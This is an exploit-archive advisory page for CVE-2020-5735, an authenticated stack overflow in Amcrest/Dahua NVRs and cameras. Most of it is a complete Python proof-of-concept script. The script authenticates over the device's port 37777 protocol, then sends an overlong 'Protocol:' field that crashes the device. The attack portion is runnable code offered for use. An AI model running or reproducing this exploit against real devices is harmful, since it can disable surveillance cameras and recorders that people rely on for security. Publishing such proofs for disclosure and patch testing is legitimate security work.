Amcrest Dahua NVR Camera IP2M-841 Denial Of Service

2020.04.08
Credit: Jacob Baines
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-787


CVSS Base Score: 8/10
Impact Subscore: 8.5/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Complete

# Exploit Title: Amcrest Dahua NVR Camera IP2M-841 - Denial of Service (PoC) # Date: 2020-04-07 # Exploit Author: Jacob Baines # Vendor Homepage: https://amcrest.com/ # Software Link: https://amcrest.com/firmwaredownloads # Version: Many different versions due to number of Dahua/Amcrest/etc # devices affected # Tested on: Amcrest IP2M-841 2.420.AC00.18.R and AMDVTENL8-H5 # 4.000.00AC000.0 # CVE : CVE-2020-5735 # Advisory: https://www.tenable.com/security/research/tra-2020-20 # Amcrest & Dahua NVR/Camera Port 37777 Authenticated Crash import argparse import hashlib import socket import struct import sys import md5 import re ## DDNS test functionality. Stack overflow via memcpy def recv_response(sock): # minimum size is 32 bytes header = sock.recv(32) # check we received enough data if len(header) != 32: print 'Invalid response. Too short' return (False, '', '') # extract the payload length field length_field = header[4:8] payload_length = struct.unpack_from('I', length_field) payload_length = payload_length[0] # uhm... lets be restrictive of accepted lengths if payload_length < 0 or payload_length > 4096: print 'Invalid response. Bad payload length' return (False, header, '') if (payload_length == 0): return (True, header, '') payload = sock.recv(payload_length) if len(payload) != payload_length: print 'Invalid response. Bad received length' return (False, header, payload) return (True, header, payload) def sofia_hash(msg): h = "" m = hashlib.md5() m.update(msg) msg_md5 = m.digest() for i in range(8): n = (ord(msg_md5[2*i]) + ord(msg_md5[2*i+1])) % 0x3e if n > 9: if n > 35: n += 61 else: n += 55 else: n += 0x30 h += chr(n) return h top_parser = argparse.ArgumentParser(description='lol') top_parser.add_argument('-i', '--ip', action="store", dest="ip", required=True, help="The IPv4 address to connect to") top_parser.add_argument('-p', '--port', action="store", dest="port", type=int, help="The port to connect to", default="37777") top_parser.add_argument('-u', '--username', action="store", dest="username", help="The user to login as", default="admin") top_parser.add_argument('--pass', action="store", dest="password", required=True, help="The password to use") args = top_parser.parse_args() sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print "[+] Attempting connection to " + args.ip + ":" + str(args.port) sock.connect((args.ip, args.port)) print "[+] Connected!" # send the old style login request. We'll use blank hashes. This should # trigger a challenge from new versions of the camera old_login = ("\xa0\x05\x00\x60\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + # username hash "\x00\x00\x00\x00\x00\x00\x00\x00" + # password hash "\x05\x02\x00\x01\x00\x00\xa1\xaa") sock.sendall(old_login) (success, header, challenge) = recv_response(sock) if success == False or not challenge: print 'Failed to receive the challenge' print challenge sys.exit(0) # extract the realm and random seed seeds = re.search("Realm:(Login to [A-Za-z0-9]+)\r\nRandom:([0-9]+)\r\n", challenge) if seeds == None: print 'Failed to extract realm and random seed.' print challenge sys.exit(0) realm = seeds.group(1) random = seeds.group(2) # compute the response realm_hash = md5.new(args.username + ":" + realm + ":" + args.password).hexdigest().upper() random_hash = md5.new(args.username + ":" + random + ":" + realm_hash).hexdigest().upper() sofia_result = sofia_hash(args.password) final_hash = md5.new(args.username + ":" + random + ":" + sofia_result).hexdigest().upper() challenge_resp = ("\xa0\x05\x00\x60\x47\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x05\x02\x00\x08\x00\x00\xa1\xaa" + args.username + "&&" + random_hash + final_hash) sock.sendall(challenge_resp) (success, header, payload) = recv_response(sock) if success == False or not header: print 'Failed to receive the session id' sys.exit(0) session_id_bin = header[16:20] session_id_int = struct.unpack_from('I', session_id_bin) if session_id_int[0] == 0: print "Log in failed." sys.exit(0) session_id = session_id_int[0] print "[+] Session ID: " + str(session_id) # firmware version command = "Protocol: " + ("a" * 0x300) + "\r\n" command_length = struct.pack("I", len(command)) firmware = ("\x62\x00\x00\x00" + command_length + "\x04\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + command) sock.sendall(firmware) (success, header, firmware_string) = recv_response(sock) if success == False and not header: print "[!] Probably crashed the server." else: print "[+] Attack failed."


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